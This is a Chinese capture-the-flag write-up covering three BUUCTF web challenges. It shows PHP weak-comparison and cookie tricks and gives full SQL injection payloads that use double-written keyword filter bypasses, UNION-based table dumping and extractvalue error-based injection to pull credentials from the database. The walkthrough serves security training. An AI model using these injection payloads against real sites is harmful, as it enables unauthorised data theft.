BUUCTF-web

目录

[极客大挑战 2019]BuyFlag

[极客大挑战 2019]BabySQL

​ 

[极客大挑战 2019]HardSQL


[极客大挑战 2019]BuyFlag


打开网页,看一下源代码,发现有两个链接

不用管index.php,直接打开pay.php,出现提示

同时给出了购买flag的mone数量

查看cookie,发现user:0,将0改为1后页面发生变化

        让我输入password,但是不知道密码是多少,所以看一下源代码,发现了一些东西 

~~~post money and password~~~
if (isset($_POST['password'])) 
{
	$password = $_POST['password'];
	if (is_numeric($password))
 {
	echo "password can't be number";
 }
elseif ($password == 404) 
{
	echo "Password Right!";
}
}

is_numeric()

 函数用于检测变量是否为数字或数字字符串。

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

        因为elseif后面是弱比较,所以可以使密码为 下面,然后post传参

password=404a

        这里让我们为flag付钱,上面说了flag的价格,所以使用连接符&链接 ,但是又发生了新的情况,说数字长度太长了。所以这里可以使用数组或者科学计数法

 

password=404a&money=1e10

得到flag


[极客大挑战 2019]BabySQL


 

还是这个页面,使用密码' or 1=1#,出现提示页面

 

        发现是'闭合,所以对密码进行修改,改为' or '1=1# 接着提示,密码或者用户名错误,所以说明密码是可执行的,只不过是对什么东西进行了过滤,双写or,登录成功。

猜想正确,接下来就是标志步骤了,爆表,爆字段(列)

输入:

?username=1' oorrder bbyy 4;%23&password=1

 

 说明有3列

?username=1' uunionnion sselectelect 1,2,3;%23&password=1

 

说明回显在第2,3列。

?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1

 

?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1

 

有三列,继续。

?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1

 

出现flag,复制提交即可。


[极客大挑战 2019]HardSQL


又是这种题目

 

 先试一试万能密码

        再试一次双写,还是同样的结果,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号(这一题不太明白看了大佬们的wp才略懂一二。

使用extractvalue()

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

 

这一下子是直接把库名弄出来了。

爆表

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

 

 爆字段

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

 

然后对password进行爆破

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

 

flag只出现了一半,使用right()对另一半爆破

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

 

连接在一起得出flag。 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值